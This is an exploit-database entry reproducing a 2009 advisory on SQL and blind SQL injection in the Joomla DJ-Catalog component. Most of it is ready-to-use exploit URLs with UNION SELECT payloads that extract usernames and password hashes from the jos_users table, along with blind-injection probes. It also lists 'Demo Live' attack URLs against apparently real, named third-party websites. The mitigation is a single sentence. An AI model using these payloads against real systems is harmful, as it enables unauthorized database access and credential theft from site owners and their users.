joomla com_djcatalog component SQL/bsql Injection Multiple Vulnerability

vendor:

DJ-Catalog

by:

Chip D3 Bi0s

N/A

CVSS

N/A

SQL/bsql Injection

CWE

Product Name: DJ-Catalog

Affected Version From: Beta

Affected Version To: Beta

Patch Exists: NO

Related CWE: N/A

CPE: a:design-joomla:dj-catalog

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

joomla com_djcatalog component SQL/bsql Injection Multiple Vulnerability

A vulnerability exists in DJ-Catalog directory Beta, which allows an attacker to inject SQL commands and gain access to sensitive information. This can be exploited by remote attackers to gain access to the database and execute arbitrary SQL commands via the 'id' and 'cid' parameters in a 'index.php' script.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

-----------------------------------------------------------------------------------------
joomla com_djcatalog component SQL/bsql Injection Multiple Vulnerability
-----------------------------------------------------------------------------------------

Author         : Chip D3 Bi0s
Email          : chipdebios[alt+64]gmail.com
Date           : 15 September 2009
Critical Lvl   : Moderate
Impact	       : Exposure of sensitive information
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : DJ-Catalog directory
version       : Beta
Developer     : AndrzejH
License       : GPL            type  : Non-Commercial
Date Added    : 9 September 2009
Demo          : http://addons.design-joomla.eu/djcat/
                http://templates.design-joomla.eu/dj-mobile/
Download      : http://www.design-joomla.eu/downloads/download/components/djcatalog-1.5.x/start-download.html
Description   :

Dj catalog is a universal component which meets these expectations,  may serve as a directory of products or specific galleries.
Thanks to a flexible structure can be easily customized to your individual visual requirements.

---------------------------------------------------------------------------


I.SQL injection (id)/(cid)
Poc/Exploit:
~~~~~~~~~
(id)
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=showItem&id=[Sqlinjection]
[Sqlinjection]: null+and+1=0+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+jos_users

(cid)
index.php?option=com_djcatalog&view=show&cid=x[Sqlinjection]
x             = valid cid
Sqlinjection] = +and+1=2+union+select+1,password,3,4+from+jos_users

Demo Live:
~~~~~~~
(id)
http://server/dj-sailing/index.php?option=com_djcatalog&view=showItem&id=null+and+1=0+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+jos_users
http://server/index.php?option=com_djcatalog&view=showItem&id=null+and+1=0+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+jos_users

(cid)
http://www.proforte.co.za/index.php?option=com_djcatalog&view=show&cid=5+and+1=0+union+select+1,password,3,4+from+jos_users



II.BSQL injection (id)/(cid)
Poc/Exploit:
~~~~~~~~~
(id)
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=showItem&id=[BSQL]

(cid)
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=show&cid=x[BSQL]
x = valid cid

(blog&cid)
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=show&layout=blog&cid=x[BSQL]
x = valid cid

Demo Live:
~~~~~~~
(id)
http://acropolltda.com/index.php?option=com_djcatalog&view=showItem&id=1+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1
http://www.serviproveer.com/index.php/diseno-web/diseno-grafico/components/modules/modules/mod_googlecurrencyconverter/templates/index.php?option=com_djcatalog&view=showItem&id=1+and+substring(@@version,1,1)=5


(cid)
http://templates.design-joomla.eu/dj-mobile/index.php?option=com_djcatalog&view=show&cid=1+and+substring(@@version,1,1)=5
http://acropolltda.com/index.php?option=com_djcatalog&view=show&cid=10+and+substring(@@version,1,1)=5

(blog&cid)
http://fifthelementorgone.com/index.php?option=com_djcatalog&view=show&layout=blog&cid=1+and+substring(@@version,1,1)=5
http://www.gamerszone.org/index.php?option=com_djcatalog&view=show&layout=blog&cid=10+and+substring(@@version,1,1)=5

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-09-15]